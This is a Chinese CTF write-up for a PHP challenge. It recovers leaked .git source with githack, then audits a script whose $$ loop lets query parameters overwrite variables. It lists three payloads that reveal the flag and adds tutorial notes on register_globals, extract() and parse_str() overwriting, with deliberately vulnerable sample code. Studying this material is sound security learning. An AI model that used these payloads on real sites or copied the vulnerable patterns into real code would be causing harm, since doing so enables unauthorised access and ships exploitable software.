信息收集
代码泄露
200 /.git/HEAD
200 /.git/index
200 /.git/config
200 /.git/description
200 /flag.php
python githack.py url:81/.git/
buu这边环境有点问题,我们直接拿wp里面的源码进行审计
- flag.php
1. <?php 2. $flag = file_get_contents('/flag'); 3. ?>
- index.php
1. <?php 2. include 'flag.php'; 3. $yds = "dog"; 4. $is = "cat"; 5. $handsome = 'yds'; 6. 7. foreach($_POST as $x => $y){ 8. $$x = $y; 9. } 10. 11. foreach($_GET as $x => $y){ 12. $$x = $$y; 13. } 14. 15. foreach($_GET as $x => $y){ 16. if($_GET['flag'] === $x && $x !== 'flag'){ 17. exit($handsome); 18. } 19. } 20. 21. if(!isset($_GET['flag']) && !isset($_POST['flag'])){ 22. exit($yds); 23. } 24. 25. if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ 26. exit($is); 27. } 28. 29. echo "the flag is: ".$flag; 30. ?>
$$ 导致的变量覆盖问题在CTF代码审计题目中经常在foreach中出现,如以下的示例代码,使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。请求?name=test 会将$name的值覆盖,变为test。
代码审计
定义了三个变量并对三个变量进行了输出,但是我们想要的是输出flag的值,这里就想到了变量覆盖的问题,源代码中存在多个变量输出的地方,应该是都可以覆盖成flag进行输出
payload1
?handsome=flag&flag=handsome
payload2
?yds=flag
payload3
is=flag&flag=flag
补充
全局变量覆盖
register_globals的意思是注册为全局变量,所以当为On的时候,传递过来的值会被直接注册为全局变量直接使用,而Off的时候,我们需要到特定的数组里去得到它
1. <?php 2. $id=0; 3. echo "Register_globals: ".(int)ini_get("register_globals")."<br/>"; 4. //ini_get — 获取一个配置选项的值 5. echo '$_GET["id"] :'.$_GET['id']."<br/>"; 6. echo '$id :'.$id; 7. ?>
?id=4
Register_globals: 0
$_GET["id"] :4
$id :0
当register_globals=Off的时候,程序接收的时候应该用$_GET['id']来接受传递过来的值;
当register_globals=On的时候,程序可以直接使用$id来接受值,也可以用$_GET['id']来接受传递过来的值。
通过这种方式就可以向程序注册一个之前没有声明的变量,不过如果之前变量已经存在就无法覆盖掉,原已有变量值不变。
如,上面的代码中,已经对变量$id赋了初始值,比如$id=0,那么即使在URL中有/test.php?id=1,也不会将变量覆盖,id值为0
extract()变量覆盖
extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
1. <?php 2. $a = "Original"; 3. $my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse"); 4. extract($my_array); 5. echo "\$a = $a; \$b = $b; \$c = $c"; 6. ?> 7. //运行结果:$a = Cat; $b = Dog; $c = Horse(Cat将Original覆盖了)
?auth=1
1. <?php 2. $auth = '0'; 3. // 这里可以覆盖$auth的变量值 4. extract($_GET); 5. if($auth == 1){ 6. echo "private!"; 7. } else{ 8. echo "public!"; 9. } 10. ?> 11. // 构造payload:?auth=1即可
parse_str()变量覆盖
1. // 把查询字符串解析到变量中: 2. <?php 3. parse_str("name=Peter&age=43"); 4. echo $name."<br>"; 5. echo $age; 6. ?>
Peter
43